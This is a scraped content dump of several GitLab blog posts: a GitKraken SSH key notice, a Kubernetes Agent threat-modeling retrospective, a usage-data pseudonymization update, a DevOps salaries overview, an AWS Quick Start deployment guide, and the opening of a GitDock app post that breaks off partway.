customers:**\n\n1. Update GitKraken to the latest version: [https://support.gitkraken.com/release-notes/current/](https://support.gitkraken.com/release-notes/current/) \n\n2. Generate new SSH keys: [https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab](https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab)  \n\nMore information can be found in Axosoft’s disclosure: [https://www.gitkraken.com/blog/weak-ssh-key-fix](https://www.gitkraken.com/blog/weak-ssh-key-fix) \nand in CVE-2021-41117.\n\nFor questions or concerns regarding GitKraken or its use with GitLab, please contact Axosoft (support@gitkraken.com). For questions concerning your GitLab account, please contact our [Support department](https://support.gitlab.com/).",{"slug":16999,"featured":6,"template":678},"notice-for-gitkraken-users-with-gitlab","content:en-us:blog:notice-for-gitkraken-users-with-gitlab.yml","Notice For Gitkraken Users With Gitlab","en-us/blog/notice-for-gitkraken-users-with-gitlab.yml","en-us/blog/notice-for-gitkraken-users-with-gitlab",{"_path":17005,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17006,"content":17012,"config":17017,"_id":17019,"_type":16,"title":17020,"_source":17,"_file":17021,"_stem":17022,"_extension":20},"/en-us/blog/threat-modeling-kubernetes-agent",{"title":17007,"description":17008,"ogTitle":17007,"ogDescription":17008,"noIndex":6,"ogImage":17009,"ogUrl":17010,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17010,"schema":17011},"Threat modeling the Kubernetes Agent: from MVC to continuous improvement","Learn how we put our threat model into action iteratively and expanded the process into a full-fledged standalone activity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682156/Blog/Hero%20Images/pexels-jesus-miron-garcia-3043592.jpg","https://about.gitlab.com/blog/threat-modeling-kubernetes-agent","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Threat modeling the Kubernetes Agent: from MVC to continuous improvement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vitor Meireles De Sousa\"}],\n        \"datePublished\": \"2021-10-11\",\n      }",{"title":17007,"description":17008,"authors":17013,"heroImage":17009,"date":16979,"body":17015,"category":674,"tags":17016},[17014],"Vitor Meireles De Sousa","\n\nThreat modeling is more common in people’s everyday lives than they might think.  Each of us performs some level of threat modeling every time we’re in a situation where we’re evaluating threats. An everyday example I really like: crossing the street. Before we cross the street we look both ways, we evaluate the speed of each oncoming vehicle and verify the driver has seen us. Finally, if the lights are green, we cross the street. This is threat modeling!\n\n_If you’re interested in learning more about what threat modeling is and how we’re developing our threat model here at GitLab, you can read about [“How we’re creating a threat model framework that works for GitLab“](/blog/creating-a-threat-model-that-works-for-gitlab/) by my teammate [Mark Loveless](/company/team/#mloveless)._\n\n## Threat modeling IRL\n\nIn this blog post I’ll talk about how we put our threat modeling process into action iteratively with an in-depth look into how we developed the process from a security assessment with a side of threat modeling to a full-fledged standalone activity.  \n\n### Our threat modeling MVC\n\nWe rolled out the initial iteration of the GitLab threat model in November of 2020. One of the first projects we assessed through that new process was GitLab’s [Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) beta. At that time, my colleague [Joern Schneeweisz](/company/team/#joernchen) performed an initial threat model, which was actually more of a security assessment in which threat modeling activities were incorporated. In this [data flow diagram](/handbook/security/threat_modeling/howto.html#tools-and) from our initial threat model, you can see how the [architecture for the Kubernetes Agent looked in May 2020](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/f374356751aec8cb65b9dea4de3ba618805c2414/docs/architecture.md):\n\n```mermaid\ngraph TB\n  agentk -- gRPC bidirectional streaming --> kgb\n\n  subgraph \"GitLab\"\n  kgb[kgb]\n  GitLabRoR[GitLab RoR] -- gRPC --> kgb\n  kgb -- gRPC --> Gitaly[Gitaly]\n  kgb -- REST API --> GitLabRoR\n  end\n\n  subgraph \"Kubernetes cluster\"\n  agentk[agentk]\n  end\n```\n\nThis first review, despite our threat model being early stage, still allowed us to identify issues and findings (like the Agent exposing public projects with private repositories [(fixed with this merge request)](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48314) or the Agent name being vulnerable to path traversal attacks [(fixed with this merge request)](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37564)) that benefited our security and the broader engineering teams. Plus, the cross-organizational feedback we received during this iteration was key to improving our threat model integration and templates.\n\n### Increasing capabilities expand the threats\n\nFour months had passed since the initial assessment; it was time to revisit our previous findings and to review the expanded capabilities of the Kubernetes Agent feature. The [architecture had also evolved](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/154f538c997b4064294a54695846092c348bada8/doc/architecture.md#high-level-architecture), and at a high level we can see the product is changing names (`kgb` changed to `kas`, for Kubernetes Agent Server (KAS)). \n\n```mermaid\ngraph TB\n  agentk -- gRPC bidirectional streaming --> nginx\n\n  subgraph \"GitLab\"\n  nginx -- proxy pass port 5005 --> kas\n  kas[kas]\n  GitLabRoR[GitLab RoR] -- gRPC --> kas\n  kas -- gRPC --> Gitaly[Gitaly]\n  kas -- REST API --> GitLabRoR\n  end\n\n  subgraph \"Kubernetes cluster\"\n  agentk[agentk]\n  end\n```\n\nBy this time the threat modeling template we were using had evolved, and our [Application Security team](/handbook/security/security-engineering/application-security/) had used it in several other reviews. \n\nGitLab’s practice of [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) means we use issues to track our reviews. At the time of this second review, our threat modeling template now had a more structured approach where reviewers had sections that would 1) guide them throughout the review 2) require them to provide specific information.\n\nBecause our process was more robust now we moved the threat modeling activity of our security assessments into a dedicated repository, giving us a single source of truth. [The template](https://gitlab.com/gitlab-com/gl-security/security-research/threat-modeling-template/-/blob/3486ca53baf13d4aaba28dd340df153b2b83ea05/threat_model.md) had evolved to also include:\n\n* An “Application decomposition” section where the reviewer must enter details such as use case, external entry points, trust levels, data flow diagram, previous security issues and known references and best practices.\n* A dedicated threat analysis section.\n* The use of issue comments to detail each section of the threat modeling allowing us to easily reference sections individually via direct link.\n* The conversion and merge of the completed issue to an MD file, saved into the dedicated repository for future use. \n\n### What is better than iteration? More iteration\n\nSince our second review in October 2020, the Kubernetes Agent feature had evolved significantly, so we performed another assessment in February 2021. The difference this time was that we now had a [formal threat modeling process in place](/handbook/security/threat_modeling/). \n\n**To better understand the Kubernetes Agent feature, we added more details to our architectural diagram:**\n\n_Legend:_\n* Dotted arrows/flow: out of scope of the Architecture or TM\n* grpc: Google Remote Procedure Call\n* grpcs: grpc over SSL/TLS\n* ws: WebSocket\n* wss: ws over SSL/TLS\n\n![Detailed architectural diagram of the Kubernetes Agent](https://about.gitlab.com/images/blogimages/threat-modeling-KA/ka-architectural-diagram.png){: .shadow.medium.center}\nDetailed architectural diagram of the Kubernetes Agent.\n{: .note.text-center}\n\n\n**The data flow diagram we were using also evolved:**\n\n_Legend:_\n* Dotted arrows/flow: out of scope of the architecture or threat model\n* grpc: Google remote procedure call\n* grpcs: grpc over SSL/TLS\n* ws: WebSocket\n* wss: ws over SSL/TLS\n\n![file name](https://about.gitlab.com/images/blogimages/threat-modeling-KA/ka-data-flow.png){: .shadow.medium.center}\nAn evolved data flow diagram for the Kubernetes Agent.\n{: .note.text-center}\n\nAnd, naturally, as the features evolved, the threats evolved. Through our latest threat modeling we discovered that:\n\n* Listeners are used by the Agent and the KAS for observability and health checking. These listeners are unrestricted but they do listen on localhost by default.\n* On GitLab’s side, developers would be able to deploy an application to another cluster on another corporate network. This is limited by Kubernetes' own authorisations defined for each cluster.\n* While brainstorming for threats, we thought about whether a user would be able to access unauthorised projects through indirect access on Gitaly. Thankfully, this is well mitigated since a few conditions are necessary: \n     * A user must have access to the Agent's pod\n     * A user must be able to modify and reply to requests from the Agent pod \n          * However, each Agent also needs to submit a secret token, otherwise the [request is denied](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/module/agent_configuration/server/server.go#L55) (using [GitLab's client](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/gitlab/client.go)) GetAgentInfo implementation. That implementation [generates and passes a JWT token](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/gitlab/client.go#L108-123), along with the [Agent token](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/gitlab/do_options.go#L103-109). The Agent must also be configured to consult only authorised repositories, which makes it impossible for a user to access other repositories from the Agent.\n* On local installations, it’s possible to use unencrypted communications between the Kubernetes Agent and the KAS. However, on gitlab.com we have enforced secure communications.\n\n## Continuous improvement and iteration\n\nThreat modeling, just like anything in security, isn’t something you do once and are done with it. As we’ve seen with the reviews we’ve performed on the Kubernetes Agent, threat modeling involves iteration and constant adoption of ever-changing features and attack surfaces of a product.\n\nOur threat model is now mature enough that it's an established process, performed as a separate review and merged into a dedicated repository at completion. In the future, we hope to be able to publicly share those threat models to help customers, the community and to continue strengthening our [hackerone program](https://hackerone.com/gitlab).\n\nFor the next iterations we’re looking for broad adoption of threat modeling across GitLab's engineering teams and beyond. We plan to use our threat model as a way to improve  [asynchronous communication](/company/culture/all-remote/asynchronous/) between the different [security stable counterparts](/handbook/security/security-engineering/application-security/stable-counterparts.html) that operate across the organization. These stable counterparts ensure security practices are integrated early on in the development process and also allow us to ensure better coverage across vacations and time zones.\n\n## About Kubernetes\n\nUntil then, if you’re interested in more threat modeling details specific to Kubernetes itself, I highly recommend the [Kubernetes Security Audit Working Group Kubernetes threat model](https://github.com/kubernetes/community/tree/d538271e3f5eed22429ded165aeb2557c6277967/wg-security-audit). One of my fellow GitLab teammates, [Marco Lancini](/company/team/#mlancini) has published a great post, [“The Current State of Kubernetes Threat Modelling”](https://www.marcolancini.it/2020/blog-kubernetes-threat-modelling/) on his personal blog which contains useful information on different methods used to perform a threat model for Kubernetes. \n\n## How to threat model\n\nAnd, if you’re interested in how we’re rolling out threat modeling across GitLab, to teams beyond Security and Engineering, we’ve been tweaking our [how to threat model](/handbook/security/threat_modeling/howto.html) guide to help as many team members as possible understand what threat modeling is and how and where to get started. Perhaps you’ll find some helpful tips and tricks there.\n\nAnd, keep an eye on this space, we’re planning to revisit threat modeling in blog posts where we’ll dive deeper into the PASTA methodology we’re using and take a closer look at what threat modeling looks like in practice here at GitLab.\n\nHave something to share? Comment below or find me on twitter at [@muffinbox33](https://twitter.com/Muffinbox33).\n\n_Also, I would like to take a moment to thank the Configure team and [Mikhail](/company/team/#ash2k) for their awesome collaboration during the various threat models we have performed._\n\nHappy threat modeling!\n\nCover image by [Jesús Mirón García](https://www.pexels.com/@jesus-miron-garcia-1583477?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/timelapse-photography-of-vehicles-on-road-3043592/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n\n\n## Read more on Kubernetes: \n\n- [How to install and use the GitLab Kubernetes Operator](/blog/gko-on-ocp/)\n\n- [How to deploy the GitLab Agent for Kubernetes with limited permissions](/blog/setting-up-the-k-agent/)\n\n- [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n\n- [Understand Kubernetes terminology from namespaces to pods](/blog/kubernetes-terminology/)\n\n- [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n",[674],{"slug":17018,"featured":6,"template":678},"threat-modeling-kubernetes-agent","content:en-us:blog:threat-modeling-kubernetes-agent.yml","Threat Modeling Kubernetes Agent","en-us/blog/threat-modeling-kubernetes-agent.yml","en-us/blog/threat-modeling-kubernetes-agent",{"_path":17024,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17025,"content":17030,"config":17035,"_id":17037,"_type":16,"title":17038,"_source":17,"_file":17039,"_stem":17040,"_extension":20},"/en-us/blog/updates-to-de-identifying-service-usage-data",{"title":17026,"description":17027,"ogTitle":17026,"ogDescription":17027,"noIndex":6,"ogImage":6704,"ogUrl":17028,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17028,"schema":17029},"Updates to de-identifying Service Usage Data","GitLab is creating a process to pseudonymize directly identifiable Service Usage Data for SaaS customers. There will be no changes to the service data usage policy.","https://about.gitlab.com/blog/updates-to-de-identifying-service-usage-data","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates to de-identifying Service Usage Data\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-10-08\",\n      }",{"title":17026,"description":17027,"authors":17031,"heroImage":6704,"date":17032,"body":17033,"category":736,"tags":17034},[711],"2021-10-08","GitLab has been working on a process to intentionally limit our own ability to identify individual users from [Service Usage Data](/handbook/legal/privacy/customer-product-usage-information/) in order to protect user privacy even better. Earlier this year, we [solicited input](/blog/gitlab-plans-to-de-identify-service-usage-data/) on plans to de-identify GitLab’s Service Usage Data. We are now ready to move forward with a new system to de-identify SaaS usage data before it enters GitLab’s internal analytics environment.\n\n## What isn’t changing?\n\nThe service usage data policy for SaaS and Self-Managed remains unchanged.\n\n## What is changing?\n\nWith user privacy in mind, we are building a pseudonymization process to run against our SaaS service usage data.\n\nWe have determined that we do not need fully identifiable information anymore for our analytics environment, and as such we are pursuing this approach that will result in better privacy for GitLab users.\n\nWe’ll create a [one-way hash](https://gitlab.com/groups/gitlab-org/-/epics/6309#one-way-hashing) or [transform directly identifiable data](/handbook/product/product-intelligence-guide/#data-used-as-identifiers). This means that the data will be hashed at the collection layer before it is sent to our analytics environment.\n\nYou can read more details about our pseudonymization solution [here](https://gitlab.com/groups/gitlab-org/-/epics/6309). Once our pseudonymization solution is in place, we will update data we collect to ensure it follows the  solution. You can read more about what data we collect and its de-identification state [here](/handbook/product/product-intelligence-guide/#data-used-as-identifiers).\n\n## Timeline and implementation\n\nWe’re planning to roll out these changes in October 2021. Keep an eye on our [Product Intelligence roadmap](/handbook/product/product-intelligence-guide/service-usage-data-commitment/#roadmap) to monitor our progress. Once complete, we’ll update this blog post with the final status.\n\n## More information\n\nPlease find more information [about our privacy policy](/privacy/). Further details on how service usage data is used for product improvement can be found on our [Product Direction page](/direction/analytics/product-intelligence/). Also see  GitLab’s [analytics environment and SaaS Data Collection Catalog](/handbook/product/product-intelligence-guide/#saas-data-collection-catalog).\n\nPlease share your questions on the [community forum](https://forum.gitlab.com/t/updates-to-de-identifying-service-usage-data/59456).\n",[2705,674,815],{"slug":17036,"featured":6,"template":678},"updates-to-de-identifying-service-usage-data","content:en-us:blog:updates-to-de-identifying-service-usage-data.yml","Updates To De Identifying Service Usage Data","en-us/blog/updates-to-de-identifying-service-usage-data.yml","en-us/blog/updates-to-de-identifying-service-usage-data",{"_path":17042,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17043,"content":17048,"config":17053,"_id":17055,"_type":16,"title":17056,"_source":17,"_file":17057,"_stem":17058,"_extension":20},"/en-us/blog/a-look-at-devops-salaries",{"title":17044,"description":17045,"ogTitle":17044,"ogDescription":17045,"noIndex":6,"ogImage":12013,"ogUrl":17046,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17046,"schema":17047},"DevOps salaries in 2021: where do you rank?","Another surprise benefit of working on a DevOps platform? A higher salary! Here's why DevOps salaries are going up, and where to find the biggest paychecks.","https://about.gitlab.com/blog/a-look-at-devops-salaries","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps salaries in 2021: where do you rank?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2021-10-07\",\n      }",{"title":17044,"description":17045,"authors":17049,"heroImage":12013,"date":17050,"body":17051,"category":962,"tags":17052},[3907],"2021-10-07","\n_This is the first in an occasional series of blog posts looking at DevOps salaries and careers._\n\nDespite the COVID-19 pandemic and the subsequent economic crisis that has disrupted lives and business across industries and around the world, demand for DevOps professionals remains strong and salaries continue to increase.\n\nThe IT industry, in general, fared better than many during the economic uncertainty of 2020 and 2021. With a strong IT infrastructure already in place and IT professionals accustomed to working remotely, increased demand and short supply for IT workers meant [IT salaries held steady or rose](https://rlc.randstadusa.com/for-business/learning-center/salary-insights/salary-guide/IT-technologies) in turbulent times, reported Randstad, a multinational human resources consulting firm. \n\nAnd DevOps professionals did even better than most in IT.\n\n## DevOps salaries are on the rise\n\n[DevOps, simply put,](/topics/devops/) is one of the hottest areas in the technology industry. Robert Half International Inc., a major human resources consulting firm, lists DevOps in the top 10 most in-demand jobs in 2021. Actually, in early September the firm [listed DevOps as the second hottest IT job](https://www.roberthalf.com/blog/salaries-and-skills/the-13-highest-paying-it-jobs-in-2019), just behind big data engineers, and surpassing cloud architects, security managers and database managers. And Randstad also ranked DevOps high in its [list of in-demand technology roles.](\u003Chttps://rlc.randstadusa.com/for-business/learning-center/salary-insights/salary-guide/IT-technologies>)\n\nAccording to salary watchers like Randstad, Glassdoor and ZipRecruiter, DevOps engineers, for instance, generally make approximately $100,000 to $150,000. Based on average U.S. salaries on Glassdoor, DevOps engineers are number 8 for 10 top-paying IT jobs in 2021. And DevOps developers, who Randstad calls one of the most in-demand technology roles, are doing well, too. They are in line to make $112,785 (for those with one year of experience) to $165,980 (for 10 years or more of experience). Those figures, of course, greatly depend on location and skill level.\n\nJust to drive the point home, Amanda Stansell, a data scientist at Glassdoor, said in a report earlier this year that [DevOps engineers](https://about.gitlab.com/topics/devops/what-is-a-devops-engineer/) made her list of [Top 10 Best Jobs in America for 2021.](\u003Chttps://www.glassdoor.com/research/best-jobs-in-america-for-2021/>) She bases her calculations on earning potential, overall job satisfaction, and number of job openings listed on Glassdoor. The role of DevOps engineer came in squarely in the middle at #5 - between Java developer at #1 and dentist at #10.\n\n## Demand for DevOps professionals is skyrocketing\n\nAccording to the Randstad 2021 Salary Guide, demand for DevOps developers is currently skyrocketing. “For employers… the average time-to-fill for these roles is north of 50 days,” the report noted. “That likely means many would-be employers today are instead suffering from key vacancies in their IT departments. Worse, with average annual salaries for DevOps developers at $137,830 — higher even than the average for cloud engineers — organizations should expect to spend considerable budget just to be in the running for skilled and experienced developers. It’s a pay-to-play hiring environment.”\n\n## Breaking down the DevOps salaries\n\nLet’s take a closer look at how pay for some DevOps positions breaks down:\n\n* ZipRecruiter reports that a DevOps engineer in San Francisco can take home $132,934, while the same position in Boston, Mass. would garner $113,552. In Austin, Texas, that engineer could earn $110,240 but in Boise, Idaho that drops to $102,093.\n\n* According to ZipRecruiter, the top five [highest paying cities for DevOps engineers](https://www.ziprecruiter.com/Salaries/Devops-Engineer-Salary) are Sunnyvale, Calif. (at $144,494); Santa Rosa, Calif. ($139,673); Cambridge, Mass. ($135,440); Vacaville, Calif. ($132,838), and New York City ($131,356).\n\n* The [top five best states](https://www.ziprecruiter.com/Salaries/What-Is-the-Average-Devops-Engineer-Salary-by-State) for DevOps engineers to earn the most are Massachusetts, Hawaii, Connecticut, Tennessee and Minnesota. \n\n## Read more on DevOps careers: \t\t\n\n- [Best advice for your DevOps career? Keep on learning](/blog/best-advice-for-your-devops-career-keep-on-learning/)\n\n- [6 tips to make software developer hiring easier](/blog/6-tips-to-make-software-developer-hiring-easier/)\n\n- [Four tips to increase your DevOps salary](/blog/four-tips-to-increase-your-devops-salary/)\n\n- [Have DevOps jobs to fill? Try these 3 strategies to hire and retain](/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain/)\n",[4103,7715,10921],{"slug":17054,"featured":6,"template":678},"a-look-at-devops-salaries","content:en-us:blog:a-look-at-devops-salaries.yml","A Look At Devops Salaries","en-us/blog/a-look-at-devops-salaries.yml","en-us/blog/a-look-at-devops-salaries",{"_path":17060,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17061,"content":17067,"config":17073,"_id":17075,"_type":16,"title":17076,"_source":17,"_file":17077,"_stem":17078,"_extension":20},"/en-us/blog/gitlab-cnh-for-50k-users",{"title":17062,"description":17063,"ogTitle":17062,"ogDescription":17063,"noIndex":6,"ogImage":17064,"ogUrl":17065,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17065,"schema":17066},"Ready-To-Run GitLab for 50,000 users with AWS Quick Start","If you have two hours, you can deploy a GitLab instance on EKS for any number of users. All it takes is about 14 clicks! Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680619/Blog/Hero%20Images/construction-blueprint.jpg","https://about.gitlab.com/blog/gitlab-cnh-for-50k-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to provision Ready-To-Run GitLab for 50,000 users with the AWS Quick Start\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2021-10-06\",\n      }",{"title":17068,"description":17063,"authors":17069,"heroImage":17064,"date":17070,"body":17071,"category":734,"tags":17072},"How to provision Ready-To-Run GitLab for 50,000 users with the AWS Quick Start",[1244],"2021-10-06","\n\nIf you have spent time reviewing GitLab Reference Architectures, you may have noticed the flexibility of the GitLab codebase; it's possible to support a broad range of implementations from a single box for under one hundred users to horizontal hyper-scaled setups for 50,000 or more.\n\nScaling to massive sizes requires the services within GitLab to be broken out into dedicated compute and storage layers so they can each expand cost effectively based on high loading and an organization's specific usage patterns.\n\nThose who provision large scale systems on the cloud generally turn to [Infrastructure as Code (IaC)](/direction/delivery/infrastructure_as_code/) to ensure consistency and to allow easy setup of pre-production environments for the target system. Until recently, GitLab implementers have had to craft this code from scratch.\n\nNow, thanks to our investments in IaC tooling, GitLab customers now have an entire implementation eco-system to work from. These efforts include the [GitLab Environment Toolkit (GET)](/blog/why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale/) and the AWS Quick Start for cloud native hybrid on EKS.\n\nThis post will focus on the AWS Quick Start - but it's worth noting both initiatives are open source - so you can consume, customize and contribute!\n\n## What is an AWS Quick Start?\n\nAWS Quick Starts are much more than the \"getting started\" feeling implied by their name. As a part of the Quick Start program, AWS ensures that each one reflects the best practices of the software vendor (GitLab in this case) as well as AWS' own well-architected standards. They reflects a high level of technical partnership and technical assurance by both companies. The Quick Start program also includes a hard requirement for high availability of every component of the deployed application. Even bastion hosts are run in an autoscaling group so they will respawn if they unexpectedly terminate. Quick Starts are also intended to create a \"Ready-to-Run\" implementation whenever possible. Quick Starts are open source and have a dependency model which allows GitLab to reuse the existing EKS Quick Start as a foundation.\n\n## What Is the GitLab AWS implementation pattern for cloud native hybrid on EKS?\n\nGitLab has Reference Architectures that determine how to install GitLab for various user counts. Each Reference Architecture has a section on cloud native hybrid to show how to configure it and the advised number of vCPUs and memory for the target user count. Each one is similar to blueprints for a building. \n\nThe AWS implementation pattern for cloud native hybrid on EKS builds on this information by:\n\n- Showing how to maximize the usage of AWS PaaS with assurance of GitLab Reference Architecture compliance.\n- Showing a tally of total cluster resources as specified by the Rreference Architecture.\n- Presenting a bill of materials listing:\n\n  - EKS node instance type (sizing) and count as tested.\n  - RDS PostgreSQL and Redis Elasticache instance types (sizing) and count as tested.\n  - Gitaly Cluster instance types (sizing) and count as tested.\n  \n- [GPT testing](https://gitlab.com/gitlab-org/quality/performance) results for a system configured according to the bill of materials. This can be used to compare back to the reference architectures and to your own configuration that is based on the bill of materials.\n\nSo while the Reference Architectures are like building blueprints, the AWS implementation pattern for cloud native hybrid on EKS intends to be like a bBill of mterials (shopping list) you can plug directly into the parameters of the AWS Quick Start or the GitLab Environment Toolkit to build GitLab on EKS with a pre-tested configuration.\n\n## \"Deploy Now\" links\n\nWithin each AWS implementation pattern for cloud native hybrid on EKS you will find some \"Deploy Now\" links.  These make the AWS Quick Start even easier to use by presetting all the instance types and instance counts based on the bill of materials for the user size.  This reduces the number of fields you need to fill out on the Quick Start form. The Deploy Now links are how we were able to reduce the number of clicks to deploy for 50,000 users to just 14.\n\nThe Quick Start takes about two hours to deploy regardless of the size of instance you choose.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/s3ZaBXYG8nc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## How you can deploy GitLab for any number of users in a couple of hours\n\nThe YouTube playlist [Learning to provision the AWS Quick Start for GitLab on EKS](https://youtube.com/playlist?list=PL05JrBw4t0Koi8VBnoVhmj_MstnbJjGw5) walks you through:\n\n1. [GitLab Reference Architectures, performance testing, cloud native hybrid and what is Gitaly](https://www.youtube.com/watch?v=1TYLv2xLkZY&list=PL05JrBw4t0Koi8VBnoVhmj_MstnbJjGw5&index=1&t=399s) (11mins)\n2. [An overview of GitLab AWS implementation patterns](https://www.youtube.com/watch?v=_x3I1aq7fog&list=PL05JrBw4t0Koi8VBnoVhmj_MstnbJjGw5&index=2) (13mins)\n3. [An overview of AWS Quick Start for cloud native hybrid on EKS](https://www.youtube.com/watch?v=XHg6m6fJjRY&list=PL05JrBw4t0Koi8VBnoVhmj_MstnbJjGw5&index=3&t=8s) (9mins)\n4. [Provisioning Ready-To-Run GitLab for 50,000 users in 14 clicks and a long lunch)](https://www.youtube.com/watch?v=s3ZaBXYG8nc&list=PL05JrBw4t0Koi8VBnoVhmj_MstnbJjGw5&index=4&t=798s) (21mins) - same as above video.\n5. [Easy performance testing an AWS Quick Start-provisioned GitLab cloud native hybrid instance](https://www.youtube.com/watch?v=QpkF1vXXCjk&list=PL05JrBw4t0Koi8VBnoVhmj_MstnbJjGw5&index=5&t=510s) (32mins)\n\nIf you would like help getting started with Gitlab instance provisioning on AWS, please contact your GitLab account team or reach out to [GitLab Sales](https://about.gitlab.com/sales/)!\n",[3949,232,944],{"slug":17074,"featured":6,"template":678},"gitlab-cnh-for-50k-users","content:en-us:blog:gitlab-cnh-for-50k-users.yml","Gitlab Cnh For 50k Users","en-us/blog/gitlab-cnh-for-50k-users.yml","en-us/blog/gitlab-cnh-for-50k-users",{"_path":17080,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17081,"content":17086,"config":17092,"_id":17094,"_type":16,"title":17095,"_source":17,"_file":17096,"_stem":17097,"_extension":20},"/en-us/blog/gitpod-desktop-app-personal-activities",{"title":17082,"description":17083,"ogTitle":17082,"ogDescription":17083,"noIndex":6,"ogImage":12013,"ogUrl":17084,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17084,"schema":17085},"Why we built GitDock, our desktop app to navigate your GitLab activities","Life is full of moving parts. We get it. And that's why we created GitDock so you can keep track of all things GitLab right from your desktop.","https://about.gitlab.com/blog/gitpod-desktop-app-personal-activities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we built GitDock, our desktop app to navigate your GitLab activities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcel van Remmerden\"},{\"@type\":\"Person\",\"name\":\"Jeremy Elder\"}],\n        \"datePublished\": \"2021-10-05\",\n      }",{"title":17082,"description":17083,"authors":17087,"heroImage":12013,"date":17089,"body":17090,"category":734,"tags":17091},[17088,4182],"Marcel van Remmerden","2021-10-05","\n\nKeeping track of everything that is happening in your GitLab projects and groups can be quite overwhelming. Often times you care about not only one project, but multiple ones. Even worse, these projects might even belong to different groups, making everything more complex.\n\nAs an example, product designers at GitLab might work on all of these different projects over the course of just one week:\n\n- [gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab) (our product)\n- [gitlab-com/www-gitlab-com](https://gitlab.com/gitlab-com/www-gitlab-com) (our handbook)\n- [gitlab-org/gitlab-design](https://gitlab.com/gitlab-org/gitlab-design/) (space for discussions)\n- [gitlab-org/gitlab-services/design.gitlab.com](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com) (our design system)\n- [gitlab-org/ux-research](https://gitlab.com/gitlab-org/ux-research) (research studies)\n\n## User-centric vs. project-centric navigation\n\nOne of our product design managers ([@jackib](https://gitlab.com/jackib)) created a visualization that shows the current project-centric navigation model that we have in place.\n\n![Project-centric navigation](https://about.gitlab.com/images/blogimages/2021-10-05-gitdock/project-centric-navigation.png)\n\nThis model puts the burden of keeping track of your activities and the work you care about on the user. We would rather look for opportunities where we can enable a more user-centric navigation.\n\n![User-centric navigation](https://about.gitlab.com/images/blogimages/2021-10-05-gitdock/user-centric-navigation.png)\n\n## Why do we care about this?\n\nUsers already have different ways to stay up to date, for example email notifications, our \"to-dos,\" or custom systems they have set up for themselves. However, when we ran a UX research study, we noticed these tools often times only show a small subset of the things that users are curious about or the tools have to be checked multiple times during the day.\n\nA short summary of the main points we learned from this study:\n\n- Maintainers care about what happened to their project since they last looked at it.\n- Users repeatedly check their pipelines to see the results.\n- Often times users need to jump back into issues/MRs they have recently contributed to.\n\n## What is GitDock?\n\nGitDock is a desktop app you can install on your macOS/Windows/Linux machine (download [latest release](https://gitlab.com/mvanremmerden/gitdock/-/releases)). When installed, you will have an icon on your menu bar that brings up a small window.\n\n![GitDock](https://about.gitlab.com/images/blogimages/2021-10-05-gitdock/gitdock-window.png)\n\nFrom there you will have direct access to the following information:\n\n- The last pipelines you triggered\n- Your recently viewed GitLab objects (MRs, Issues, Epics, etc...)\n- Favorite projects\n- Your most recent comments\n- Bookmarked items\n\nGitDock also sends you a system notification whenever a pipeline completes, or when a new to-do was created for you.\n\nAll of these features try to put the user at the center. You can see me walk through all functionality in this overview video:\n\n[![YouTube video](https://about.gitlab.com/images/blogimages/2021-10-05-gitdock/gitdock-youtube.png)](https://www.youtube.com/watch?v=WkVS38wo4_w)\n\nYou can also see the entire code in our 